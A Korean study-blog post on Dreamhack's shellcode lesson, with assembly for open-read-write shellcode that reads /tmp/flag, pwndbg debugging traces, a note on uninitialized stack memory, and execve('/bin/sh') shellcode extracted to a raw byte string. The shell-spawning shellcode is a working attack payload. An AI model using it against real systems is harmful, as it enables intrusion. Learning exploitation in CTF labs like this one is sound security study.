[Dreamhack-system] Shellcode

박정원·2023년 4월 11일

보안공부

목록 보기
17/43

orw 셸코드

orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드임.
구현하고자 하는 셸코드의 동작을 C언어 형식의 의사코드로 표현하면 다음과 같음

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

1. int fd = open("/tmp/flag", O_RDONLY, NULL)

info

syscall : open

rax : 0x02

arg0(rdi) : const char *filename

arg1(rsi) : int flags

arg2(rdx) : umode_t mode

첫 번째로 해야 할 일은 "/tmp/flag"라는 문자열을 메모리에 위치시키는 것임
-> 이를 위해 0x616c662f706d742f67(/tmp/flag)를 push하고, rdi가 이를 가리키도록 rsp를 rdi로 옮김

O_RDONLY는 0이므로, rsi는 0으로 설정함

#define        O_RDONLY        0        /* Open read-only.  */
#define        O_WRONLY        1        /* Open write-only.  */
#define        O_RDWR          2        /* Open read/write.  */

파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정함
마지막으로 rax를 open의 syscall 값인 2로 설정함

push 0x67 // "g"  
mov rax, 0x616c662f706d742f // "alf/pmt/" -> little endian 형식이므로
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

2. read(fd, buf, 0x30)

info

syscall : read

rax : 0x00

arg0(rdi) : unsigned int fd

arg1(rsi) : char *buf

arg2(rdx) : size_t count

syscall의 반환 값은 rax로 저장되므로, open으로 획득한 /tmp/flag의 fd는 rax에 저장됨

여기서 잠깐, fd(파일 서술자)가 뭐지?

  • 파일 서술자는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자임
  • 일반적으로 0번은 일반 입력, 1번은 일반 출력, 2번은 일반 오류에 할당되어 있음
  • 프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당 -> 프로세스는 그 fd를 이용해서 파일에 접근 가능함

다시 돌아와서, read의 첫 번째 인자를 이 값으로 설정해야 하므로, rax를 rdi에 대입함
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리키고, 0ㅌ30만큼 읽을 것이므로 rsi에 rsp - 0x30을 대입함
rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정함
read 시스템콜을 호출하기 위해서 rax를 0으로 설정함

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall

3. write(1, buf, 0x30)

info

syscall : write

rax : 0x01

arg0(rdi) : unsigned int fd

arg1(rsi) : const char *buf

arg2(rdx) : size_t count

출력은 stdout으로 할 것이므로, rdi를 0x1로 설정함
rsi와 rdx는 read에서 사용한 값을 그대로 사용함
write 시스템콜을 호출하기 위해서 rax를 1로 설정함

mov rdi, 1
mov rax, 0x1
syscall

이들을 모두 종합하면 다음과 같음

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

orw 셸코드 컴파일 및 실행

  • 리눅스에서는 ELF(Executable and Linkable Format)을 실행 가능한 파일의 형식으로 규정함
  • ELF는 크게 헤더와 코드, 그리고 기타 데이터로 구성됨
  • 위에서 짠 셸코드는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나, ELF형식이 아니므로 리눅스에서 실행될 수 없음

컴파일

여기에서는 셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용함

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

위의 스켈레톤 코드를 이용해서 셸코드를 채워본다.

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }

이 코드를 실행시켰을 때, /tmp/flag 파일이 존재할 때 다음과 같은 결과가 나온다.

gcc -o orw orw.c -masm=intel
./orw
flag{this_is_open_read_write_shellcode!}
&��U

그런데, /tmp/flag의 내용 말고도, 몇 자의 문자열들이 함께 출력된다. 왜?

orw 셸코드 디버깅

orw를 gdb로 열고, run_sh() 함수에 브레이크 포인트를 설정함

1. int fd = open("/tmp/flag", O_RDONLY, NULL)

첫 번째 syscall전까지 실행하고, syscall에 들어가는 인자를 확인해본다.

[REGISTERS] 
 RAX  0x2
 RBX  0x0
 RCX  0x555555554670 (__libc_csu_init) ◂— push   r15
 RDX  0x0
 RDI  0x7fffffffc2a8 ◂— '/tmp/flag'
 RSI  0x0
 ...
 
[DISASM]
   0x555555554606 <run_sh+12>    push   rax
   0x555555554607 <run_sh+13>    mov    rdi, rsp
   0x55555555460a <run_sh+16>    xor    rsi, rsi
   0x55555555460d <run_sh+19>    xor    rdx, rdx
   0x555555554610 <run_sh+22>    mov    rax, 20x555555554617 <run_sh+29>    syscall  <SYS_open>
        file: 0x7fffffffc2a8 ◂— '/tmp/flag'
        oflag: 0x0
        vararg: 0x0

pwndbg 플러그인은 syscall을 호출할 때, 인자를 분석해줌. -> open("/tmp/flag", O_RDONLY, NULL)가 실행됨

open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장됨

[REG]
*RAX  0x3
 RBX  0x0
*RCX  0x555555554619 (run_sh+31) ◂— mov    rdi, rax
 RDX  0x0
 RDI  0x7fffffffc2a8 ◂— '/tmp/flag'
 RSI  0x0
 ...
[DISASM]   
   0x555555554607 <run_sh+13>    mov    rdi, rsp
   0x55555555460a <run_sh+16>    xor    rsi, rsi
   0x55555555460d <run_sh+19>    xor    rdx, rdx
   0x555555554610 <run_sh+22>    mov    rax, 2
   0x555555554617 <run_sh+29>    syscall
 ► 0x555555554619 <run_sh+31>    mov    rdi, rax

2. read(fd, buf, 0x30)

마찬가지로 두 번째 syscall 직전까지 실행하고 인자를 살펴본다.

[REGISTERS]
*RAX  0x0
RBX  0x0
RCX  0x555555554619 (run_sh+31) ◂— mov    rdi, rax
RDX  0x30
RDI  0x3
RSI  0x7fffffffc278 ◂— 0xf0b5ff 
[DISASM] 
  0x555555554619 <run_sh+31>    mov    rdi, rax
  0x55555555461c <run_sh+34>    mov    rsi, rsp
  0x55555555461f <run_sh+37>    sub    rsi, 0x30
  0x555555554623 <run_sh+41>    mov    rdx, 0x30
  0x55555555462a <run_sh+48>    mov    rax, 00x555555554631 <run_sh+55>    syscall  <SYS_read>
       fd: 0x3
       buf: 0x7fffffffc278 ◂— 0xf0b5ff
       nbytes: 0x30
[DISASM]
  0x55555555461c <run_sh+34>    mov    rsi, rsp
  0x55555555461f <run_sh+37>    sub    rsi, 0x30
  0x555555554623 <run_sh+41>    mov    rdx, 0x30
  0x55555555462a <run_sh+48>    mov    rax, 0
  0x555555554631 <run_sh+55>    syscall
► 0x555555554633 <run_sh+57>    mov    rdi, 1

실행 결과를 x/s로 확인해보면,

pwndbg> x/s 0x7fffffffc278
0x7fffffffc278: "flag{this_is_open_read_write_shellcode!}\nFUUUU"

문자열이 성공적으로 저장된 것을 확인할 수 있음

3. write(1, buf, 0x30)

마지막으로, 읽어낸 데이터를 출력하는 write 시스템 콜을 실행함

[REGISTERS]
*RAX  0x1
 RBX  0x0
 RCX  0x555555554633 (run_sh+57) ◂— mov    rdi, 1
 RDX  0x30
 RDI  0x1
 RSI  0x7fffffffc278 ◂— 'flag{this_is_open_read_write_shellcode!}\nFUUUU'
 
[DISASM]
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
   0x555555554631 <run_sh+55>    syscall
   0x555555554633 <run_sh+57>    mov    rdi, 1
   0x55555555463a <run_sh+64>    mov    rax, 10x555555554641 <run_sh+71>    syscall  <SYS_write>

데이터를 저장한 장소에서 48바이트를 출력함

flag{this_is_open_read_write_shellcode!}
FUUUU

이번에도 /tmp/flag의 데이터 외에 알 수 없는 문자열이 출려됨 -> 초기화되지 않은 메모리 영역 사용에 의한 것임

초기화 되지 않은 메모리 사용(Use of Uninitialized Memory)

  • 모든 함수는 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제함.
  • 그런데 해제는 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히 rsp와 rbp를 호출한 함수의 것으로 이동시키는 것을 말함
  • 이 때 어떤 함수를 해제한 이후에 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임 위에 존재하게 됨 -> 우리는 이를 쓰레기 값이라고 표현함

Appendix. Uninitialized Memory

[DISASM]
   0x55555555461c <run_sh+34>    mov    rsi, rsp
   0x55555555461f <run_sh+37>    sub    rsi, 0x30
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
   0x555555554631 <run_sh+55>    syscall
 ► 0x555555554633 <run_sh+57>    mov    rdi, 1

아까와 같이 파일을 읽어서 스택에 저장함. 스택의 영역을 다시 조회하면

pwndbg> x/6gx 0x7fffffffc278
0x7fffffffc278: 0x6968747b67616c66      0x65706f5f73695f73
0x7fffffffc288: 0x775f646165725f6e      0x6568735f65746972
0x7fffffffc298: 0x7d2165646f636c6c      0x000055555555460a

48바이트 중, 앞의 40바이트만 우리가 저장한 파일의 데이터이고, 뒤의 8바이트는 우리가 저장한 적이 없는 데이터임 -> 이 데이터가 나중에 write시스템 콜을 수행할 때 플래그와 함께 출력됨

execve 셸코드

execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있음

execve("/bin/sh", null, null)

execve 셸코드는 execve 시스템 콜만으로 구성됨

info

syscall : execve

rax : 0x3b

arg0(rdi) : const char *filename

arg1(rsi) : const char const argv

arg2(rdx) : const char const envp

여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다. 우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해주어도 됨

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

objdump를 이용한 shellcode 추출

아래 주어진 shellcode.asm을 바이트 코드로 바꿔보자.

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

step1. shellcode.o

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$ 

step2. shellcode.bin

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$ 
execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
profile
보안, 프런트엔드 공부 중!

0개의 댓글